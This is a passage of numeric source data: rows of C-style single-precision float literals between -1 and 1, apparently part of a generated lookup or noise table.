-0.0927412249348933f, -0.580853742457387f, 0.211615321410605f, 0.165159968106305f, 0.305515629345863f, 0.725748395743965f, -0.667649812347274f, -0.621843189978885f, -0.939317191264789f, -0.197108718554958f, 0.902152006895939f, -0.889744652803018f, 0.667113256888905f, 0.929471703711725f, 0.660025836042506f, -0.0712223078913006f, 0.416152292126436f, -0.602223852277700f, -0.828462878627106f, -0.956915163338265f, 0.298196541541469f, -0.933863927954050f, -0.198745190221695f, 0.749101206471011f, -0.922366396086261f, 0.769953026855636f, 0.971459582749177f, -0.226637139032289f, -0.593509265485619f, -0.635649447577657,
-0.443127775644156f, 0.350464269654307f, 0.379979516655134f, 0.896282784801247f, 0.00871209446887344f, 0.401818712823609f, 0.815422566258939f, 0.215868289995843f, 0.682217845700443f, 0.508819667108007f, -0.988484263336122f, 0.216656890144568f, -0.185777888700071f, 0.522106353117928f, 0.894211314619113f, -0.779300881699217f, 0.137801937535128f, -0.818740955579722f, 0.637214461095055f, 0.187867696634722f, 0.184985729971243f, 0.315323389557324f, -0.0312525033775366f, 0.498559120407008f, 0.855778208118391f, 0.936851170962385f, -0.0524308158818188f, 0.257087262622978f, 0.816141818246927f, -0.147192803443011f, 0.194545158383538f, -0.655428449892669f, -0.650441844539509f, 0.536015423540886f, 0.0250060573607953f, -0.863380305825989f, 0.0605420782823460f, -0.963662464088496f, 0.689136717877590f, -0.929664162821947f, -0.327349437742288f, 0.713122240487331f, 0.765587094162777f, -0.314350325341316f, 0.409992519686522f, 0.753377832105546f, -0.756848529995586f, 0.760787899507869f, 0.512213162407276f, -0.674820237484644f, 0.560776719592082f, -0.874905891603855f, 0.925202682923872f, -0.907405002733482f, -0.575836335118172f, -0.248173888600965f, -0.187923239740639f, 0.230951002247789f, -0.540190666146588f, 0.390890663320481f, -0.705511708249712f, 0.0980457138183717f, 0.879979753648798f, -0.378326046226794f, -0.645363625221967f, 0.883365508962968f, 0.728720763588748f, -0.191571576393619f, -0.941989254130187f, 0.944312154950866f, -0.367184985473008f, -0.974124559264444f, -0.579946765132286f, 0.509825236656578f, 0.952047194261820f, -0.0955445631918663f, -0.00500764501201401f, -0.00111382665477655f, -0.0404281661495578f, -0.265706359102834f, 0.865881843285797f, -0.947915521623861f, -0.820337973623839f, 0.0843747524022067f, -0.948599514028391f, -0.464018526769358f, 0.600790429663803f, -0.0779017384430381f, 0.756949801920938f, -0.955436496929340f, -0.553346424499498f, -0.401256107066610f, 0.569624108543687f, 0.179455179577041f, -0.189386842296675f, -0.467166492259358f, 0.367644583467601f, -0.722338735126514f, 0.863903729827081f, 0.0631027352569811f, -0.982269235503679f, -0.837788470642698f, 0.421730643738386f, -0.671745211565315f, 0.858467932275763f, -0.745298219348761f, -0.659594977600028f, 0.403238381269873f, 0.951987904652099f, 0.228887404582426f, -0.331665752024408f, 0.794789885033899f, 0.669978127515269f, 0.977583870328654f, -0.346398989178462f, 0.692053246433782f, -0.159407706019695f, 0.710808563527500f, -0.555701359319642f, 0.625665798239905f, -0.711048329414687f, -0.672431532474912f, -0.474897384314332f, -0.196250611816064f, 0.902140605659856f, -0.459732035217428f, 0.651412290305649f, -0.686137550630920f, -0.803228611526547f, 0.371120664039117f, 0.289869860968561f, -0.720979161638185f, -0.0940498575417996f, 0.185025844935128f, 0.401524077274769f, 0.811721346556136f, 0.224659861626089f, 0.106438807548742f, -0.117458956991326f, -0.407361487623449f, 0.683891165426988f, -0.216582410631386f, 0.710644530504861f, 0.867797453793643f, 0.626683550176870f, 0.115061097783331f, 0.976742668387085f, 0.250700864990527f, 0.272723539841862f, 0.159923684669346f, 0.167713264013185f, -0.445764377935606f, -0.489538472614810f, 0.227880894824940f, 0.670702116476237f, 0.610361511284318f, 0.503801949624464f, -0.687816091694902f, -0.0413765153535617f, 0.155769004545734f, 0.921910233366689f, -0.467299226678025f, -0.991984541712805f, -0.527009262324220f, 0.248157897392517f, 0.661145853979517f, -0.975947426744844f, -0.242453990684693f, -0.277956284573619f, 0.162010437415540f, 0.889456199489152f, -0.171259539670729f, -0.0636124576727060f, 0.311318764402696f, -0.227771282875219f, -0.567702050585727f, -0.132881625149059f, 0.870846950418812f, 0.440078398779761f, -0.0908818839265000f, 0.410077545060762f, 0.917678125288724f, 0.975295290129489f, 0.736514272579886f, 0.653896379317074f, -0.166512942888681f, -0.218665383726096f, -0.0688642360506688f, -0.596589868100824f, -0.180873413844075f, 0.229002598511067f, -0.647630976455599f, 0.722615884501717f, 0.760194030884127f, 0.253262836539679f, 0.0734191803957118f, -0.941427952376035f, 0.224118866807764f, 0.634990976599086f, 0.538622500570355f, -0.591487367587299f, 0.829253069890529f, 0.426659996899884f, -0.562435396124737f, 0.924178169394878f, -0.693964899988321f, -0.520472617448914f, 0.845157115508053f, 0.162984246343684f, -0.212032053476592f, 0.0482566706558292f, 0.820584028875367f, 0.676120066619505f, 0.590174358812695f, -0.457289938956925f, -0.351282540371674f, 0.322162683499620f, -0.683726196205246f, -0.279636659553935f, -0.186133028676429f, 0.965481755833750f, -0.0550172560314044f, -0.437844829991532f, -0.448670532146325f, -0.438916826946834f, 0.830205353164842f, -0.0125988502002286f, 0.733716462327519f, 0.870000673588185f, -0.189915082276716f, -0.676269331249200f, -0.336432931956768f, -0.288892891213265f, -0.912569275291884f, 0.509853767908707f, -0.658452317958678f, -0.562848133961047f, -0.102082581799095f, 0.904062026055565f, 0.473339990381854f, 0.210234896873676f, -0.0884007008398613f, 0.720872020499257f, 0.538315255331760f, -0.884485227439286f, 0.160844002639634f, 0.625863524205804f, -0.947487159926400f, 0.362643826956149f, -0.189913270725334f, -0.110428721523612f, -0.666510263156819f, -0.214827103263521f, 0.912669747474334f, -0.973896103049543f, 0.665373714127588f, 0.148135031012834f, 0.126524689644449f, 0.00283763548841764f, 0.312700495893193f, 0.579520771033243f, 0.677583023476560f, -0.779567427807191f, 0.0694994546110597f, -0.298762697062437f, 0.655210050716681f, 0.435909078048151f, 0.322095567178671f, 0.764827170021089f, -0.713736794113842f, 0.992844460358584f, -0.735915506109616f, 0.280204875392391f, 0.584446532772711f, 0.796955505835788f, 0.742508124239176f, 0.0785523490091065f, -0.562359397016753f, 0.874448473576734f, -0.794251927759664f, -0.658767152705445f, 0.120015806343044f, 0.662372174700575f, -0.719334975225296f, -0.663474261357014f, -0.637663874969148f, 0.706137632813821f, 0.734790814693796f, -0.449118755654663f, -0.758125670003823f, 0.719059339327447f, -0.228679956701166f, -0.0782671261690160f, 0.637830522744746f, -0.178696376536345f, -0.848273935253246f, 0.840882430630200f, 0.977813953976437f, 0.565474986185913f, -0.807314895274907f, -0.100534840844589f, -0.436186956483089f, 0.854663592026441f, -0.547576146320248f, -0.621784076386717f, 0.688687549426321f, -0.688962085987764f, -0.998914668418794f, 0.751493418398842f, -0.203018738091861f, -0.881317097659280f, -0.422480898609404f, -0.321074554557095f, -0.759379357125740f, -0.806503084491033f, -0.496837315822352f, 0.217087355208111f, -0.776801484423500f, -0.445747498145286f, 0.710204776554782f, 0.274276964033182f, 0.650397224484409f, -0.709395921248168f, 0.862663541330686f, -0.946166202558813f, 0.826638502366159f, -0.450587332736099f, -0.808257632193740f, -0.414360554482101f, -0.471118187583276f, 0.981592919290155f, 0.192794908371370f, -0.314979855997427f, 0.722518962804398f, -0.795914669179603f, 0.121447532644509f, 0.0446893237592363f, 0.651720955387594f, 0.897128141094619f, 0.283834144643742f, 0.369570391543943f, -0.163784005163726f, -0.799144231493300f, 0.338136741961422f, 0.795991730702685f, 0.601735561139351f, -0.556654767533027f, 0.907044495725416f, -0.374604065784494f, 0.814308532452677f, -0.254295412850351f, 0.443103437041340f, -0.0218296619602199f, 0.826728672505738f, 0.773205771668962f, 0.171909022893217f, 0.497670481959597f, 0.954178712898056f, 0.0840098577761919f, -0.705861127301893f, 0.145663865959608f, -0.436204975766037f, 0.479359595998989f, -0.719493824988072f, -0.523146212355768f, -0.917822711649927f, -0.610003715217602f, -0.192266667446473f, -0.377507163265653f, -0.250419291332051f, 0.873627391381727f, 0.922899703740095f, -0.902411671519496f, 0.285830821349708f, -0.577368595723736f, -0.598296174995687f, -0.0152478418690674f, 0.503725955636280f, 0.946501779740920f, 0.261108140547963f, 0.206258978593364f, -0.887022338332430f, 0.989187042741485f, 0.461764104690670f, 0.305280284664753f, 0.243972878436235f, -0.573704516784209f, 0.111805651228880f, -0.373590027525854f, 0.574564836347642f, -0.712884790778729f, -0.0570130063179222f, 0.244209425500712f, -0.717492787619277f, -0.476920207759357f, -0.444169983027413f, -0.254851417015366f, -0.505678630542571f, -0.953549022234155f, -0.0316841901798541f, 0.198256779602804f, 0.151938229162240f, -0.0259028503944394f, -0.799645893003010f, -0.889308912372168f, 0.339221517072804f, 0.904784479404768f, -0.367330903112591f, 0.866281762131661f, 0.112765232993802f, -0.0852946527317187f, -0.283538359072154f, -0.734951426632046f, 0.502970854898684f, -0.541434927857400f, 0.881496286285600f, -0.227404039639917f, -0.636983936776183f, -0.0799774217214970f, -0.833780310813424f, -0.222787370954425f, 0.433143783060434f, 0.0953330524947187f, 0.965400264971588f, 0.308927931247299f, 0.344316393259575f, 0.122880788538352f, -0.898509922382301f, -0.187062523329053f, 0.705352247460646f, -0.817811000761718f, 0.303714513401701f, 0.714863075518907f, -0.00862372607283035f, -0.842715848975590f, 0.816504077307885f, 0.924594085591125f, 0.334618732730041f, -0.212414743241377f, -0.758289625449925f, 0.586405661412351f, 0.909247363444287f, -0.800422609846793f, 0.397430897916299f, -0.408827454151232f, -0.411913213123543f, -0.602703152770135f, -0.893591462026327f, 0.417648762458765f, -0.766362696266534f, -0.166060103951854f, 0.883234167729589f, -0.0741908774062401f, 0.113912882075078f, -0.268248292164738f, -0.825585719915457f, 0.885446166477969f, -0.996523379251940f, -0.000841720632677401f, 0.940286529247477f, -0.528330498750176f, 0.0938880690147421f, -0.966296878893937f, 0.891956527154360f, -0.483384605653306f, 0.257210342748458f, -0.820220338820906f, 0.363913841603935f, 0.0364865250689275f, 0.0619156958713947f, -0.645447937080250f, 0.548279343062761f, -0.289526240449473f, -0.506780094171335f, -0.901771170107367f, -0.437874075223813f, 0.748512212111141f, -0.529884246718074f, 0.924062132675193f, -0.365432219122282f, -0.263296006595835f, -0.927083881647913f, -0.192737974697553f, -0.450051159199964f, -0.543528645806642f, 0.834976909049276f, -0.426975046433596f, -0.361056079272416f, 0.883880063360531f, 0.680380429911630f, -0.553642515320953f, 0.548847108935282f, -0.357430246936948f, 0.210445016993628f, 0.949511601115471f, -0.611278947360487f, 0.344744934459962f, 0.0684247970496175f, -0.877154656281116f, -0.521992702610556,
-0.0303764312006813f, -0.647220068176984f, 0.693175336224119f, -0.0955602614554496f, -0.765579758912278f, -0.821318118938906f, -0.220936603794347f, 0.159013709512021f, 0.0222743973539492f, 0.569438412513281f, 0.896083437551563f, 0.973699071868637f, -0.403438951991928f, -0.976931032127622f, -0.0720613180573018f, 0.0788813367661694f, -0.430781354548607f, 0.580378296309349f, -0.175446689199481f, -0.256743557012462f, -0.696667845393283f, 0.870473046831235f, 0.146660713923108f, 0.277741407197705f, 0.502075064404417f, 0.396530064046844f, -0.000209092342246420f, -0.977003947244262f, 0.451457326960000f, 0.420509664462095f, -0.0826395067671402f, 0.461120688156973f, 0.786867285802415f, 0.429254905841222f, 0.894426863739026f, -0.670297281923597f, -0.833650409296060f, -0.908588009702110f, 0.516311115539149f, 0.975234001829324f, -0.532953533466378f, 0.775291582519158f, -0.0136022600428900f, 0.654817093112596f, 0.363512141498233f, 0.624779024037534f, 0.0237004661473674f, -0.172570506046968f, 0.401807838319043f, 0.997391258152958f, -0.553969395939123f, -0.415425175833161f, -0.758032843655304f, -0.482766088920005f, 0.637574309072414f, -0.729000055114342f, 0.699851428676091f, -0.827508053421131f, 0.900655803848482f, -0.431149800814228f, 0.0369409101983413f, -0.378608101457895f, 0.237564147838841f, 0.533020461112441f, -0.280269627508005f, -0.864065787343603f, -0.0381481642453043f, -0.566886547530062f, 0.539727700361167f, 0.166859339425035f, 0.850080295054718f, 0.384690146030125f, -0.384995288415294f, 0.303656036600558f, -0.580297619022502f, 0.0649069482840878f, -0.162922327392773f, -0.235019427063355f, -0.265468718118809f, -0.121827312187455f, 0.0416628805824146f, 0.343481543012411f, -0.251429566892972f, -0.868100204320718f, -0.802636407512128f, -0.549547579028752f, -0.570017983863503f, -0.853634311513627f, -0.564570567173235f, 0.955944215494794f, -0.0930750790375956f, -0.160319122401953f, -0.640886790354213f, 0.798634607857513f, 0.503051518023559f, 0.765247226736789f, 0.909476811674882f, 0.677590253114963f, -0.110641683440517f, -0.336445241915220f, -0.684064840782028f, 0.962285048920031f, 0.883303701653897f, 0.981819291389659f, -0.597290928759656f, 0.215792997443025f, -0.847656608719347f, 0.679887992445640f, 0.299901700372808f, -0.677306526467426f, -0.348340058872692f, 0.651490451411335f, -0.133387041637395f, 0.718311240322040f, 0.0869279817052975f, 0.155413706090559f, -0.869119988858735f, -0.566773040844476f, -0.0513826414151206f, -0.368087669232071f, -0.978175512831125f, -0.229213501073727f, 0.344608572405871f, -0.663307667219997f, 0.437238632879575f, 0.00205230197288353f, -0.0897076092856746f, 0.834529513214144f, 0.131872357342232f, 0.113081940417244f, -0.418620232731326f, -0.317993033651213f, -0.740303025960662f, 0.423423655701288f, -0.300833032468860f, -0.458960388256530f, 0.692670405117589f, -0.559944357561921f, 0.0168623577148430f, 0.568661331088367f, -0.385055363002398f, -0.356055436463140f, -0.794446573681063f, 0.908870080953069f, -0.295500656666577f, 0.800625150733729f, 0.206307902542489f, 0.729591183391974f, -0.0655746333947396f, -0.261707022686154f, -0.802380330579914f, 0.0812359238243023f, -0.00528231140765212f, -0.725740453383981f, 0.919076065030463f, -0.896497189839174f, 0.861919731820265f, -0.804273875755869f, 0.230339021648310f, 0.296779613186519f, -0.349872572510143f, -0.270230381483447f, 0.0368924200249658f, 0.581340248642417f, 0.943620537648739f, 0.715012058065301f, 0.528414993233909f, 0.695917111744314f, -0.634354198968852f, -0.483786223099716f, 0.565405035681248f, -0.530076864213017f, 0.363019522302994f, -0.825556544716473f, 0.891096876998683f, -0.990692760548295f, -0.450641405862313f, -0.597008073985341f, -0.464377765418678f, -0.942926913464693f, -0.871399725569805f, 0.232335933943403f, 0.858786794807406f, -0.528589179815518f, -0.324757177062634f, 0.595880088750788f, -0.976574570427974f, -0.423824220654658f, -0.832990206908489f, 0.198704682807118f, -0.168244652325292f, 0.843066822744011f, 0.0912498543932607f, 0.485570815146582f, -0.104653316420662f, -0.623461298489716f, -0.807713596811018f, 0.737782734425857f, 0.456364368166532f, -0.430703367862900f, -0.188953991637209f, -0.827984282695373f, 0.0246267653665548f, 0.891225605267640f, 0.910600867999638f, 0.345236086687552f, -0.600682365520065f, 0.833182106437698f, 0.213749250288017f, -0.0866339102562885f, -0.618385082289017f, 0.859527120927500f, 0.749978780964161f, -0.334770513867011f, 0.242140166670949f, -0.196268320459958f, 0.611789869603675f, 0.655057159657307f, -0.603759576722096f, 0.614654509385217f, 0.144145218488192f, 0.959930150756613f, 0.485009777784726f, -0.564230295010912f, -0.404716165405314f, 0.0442672151313601f, 0.929486639423805f, 0.409386317338224f, 0.527053707674182f, 0.899087569745327f, -0.933259779365388f, 0.265159475034860f, -0.858300862890810f, -0.870994388031662f, 0.354868177430506f, 0.00956840260511749f, 0.429740959889133f, 0.649668163567379f, -0.744532888765288f, -0.967499901569196f, 0.556703631745254f, 0.535130550118618f, -0.639502350153040f, -0.604586469532735f, 0.0799683564329623f, -0.156074786599444f, -0.348308700325411f, 0.217829052228100f, 0.545642400171123f, -0.303317700019152f, -0.473220675222451f, -0.239688108834945f, 0.0998500862725149f, -0.962734081833842f, 0.870743993144299f, 0.464578557934316f, 0.184511089576136f, 0.559729843314504f, 0.0702052363354577f, 0.632714874625648f, 0.212930743289312f, -0.454606863365109f, -0.592679055778218f, 0.287649993384466f, -0.457293694071368f, -0.423493046785686f, -0.0674763327876298f, 0.242131064298176f, 0.488581911885965f, -0.464567743213882f, -0.387515661812354f, -0.914585596974616f, -0.255803162310627f, 0.941267268311980f, 0.690278917089395f, 0.302397314111962f, -0.178461434689705f, -0.949279941481428f, 0.160440202901122f, -0.970582196769486f, -0.0119478205074164f, -0.206440255898676f, 0.221640403444713f, -0.819801447827624f, 0.263614394802488f, 0.616376195532700f, -0.596859494305351f, -0.118659509995453f, 0.458168997595326f, -0.0400474705134108f, 0.934465050133603f, -0.852936731989621f, 0.0191637795580570f, 0.298534793677081f, -0.857491630206749f, -0.0141198383157879f, -0.365027350962024f, 0.450964838023674f, 0.351383095290905f, -0.387039947149600f, -0.983994933095116f, 0.610531582220017f, -0.0446025524732094f, 0.216718014780746f, -0.676819246943449f, 0.0385619292249610f, 0.192482456707739f, -0.288809653393521f, 0.241774557042318f, -0.444638770943313f, 0.535319194413803f, 0.374773141606987f, 0.186364279454450f, 0.0701814972821988f, -0.452753172654203f, -0.350918291268194f, -0.332963791049667f, 0.179301863965318f, 0.954101654404080f, -0.687960044344130f, 0.611454049205213f, -0.696789567124132f, -0.551566492897529f, 0.656434797122885f, -0.601779335396959f, -0.265656331560395f, -0.528821434638507f, 0.153601151147409f, 0.514739334540489f, -0.0517769842323894f, -0.659246830986894f, -0.453055366696259f, -0.0515886000780059f, 0.958478845408115f, 0.0221452906045994f, -0.159960643390796f, 0.816263632871352f, 0.245244170325114f, -0.0919839688704780f, 0.947170598807362f, 0.846772793441790f, 0.247105133025056f, -0.801972939368103f, -0.224977420586025f, 0.130099925027197f, 0.497816036746753f, 0.308139730113712f, -0.0536876417759813f, -0.492022090866895f, 0.188938438822753f, -0.400894058284033f, 0.314370104391157f, 0.618580768947071f, 0.830051263404639f, -0.228700130023340f, 0.811855169643177f, 0.0924092179787017f, 0.273652523319809f, -0.0624274843235475f, -0.503696982048589f, 0.510545161203341f, 0.341823133345436f, -0.437486933663093f, 0.0134072800031224f, 0.613837993234983f, 0.740945655313894f, 0.135311460882606f, 0.464832228842466f, -0.973962843371452f, -0.519388256678232f, 0.631469277357519f, -0.936937468616713f, 0.208677911871604f, -0.0946010975796272f, 0.560587233611855f, 0.230925763372331f, -0.637408482848184f, -0.679175194353885f, -0.408696637706987f, -0.0837464598184048f, -0.911070817707239f, 0.985815432104941f, -0.208807972878988f, 0.741966810464688f, 0.162772839973564f, 0.717702638881939f, 0.490767958961575f, -0.835565390813677f, -0.878516167634055f, -0.956727838876563f, -0.00772081382858891f, 0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 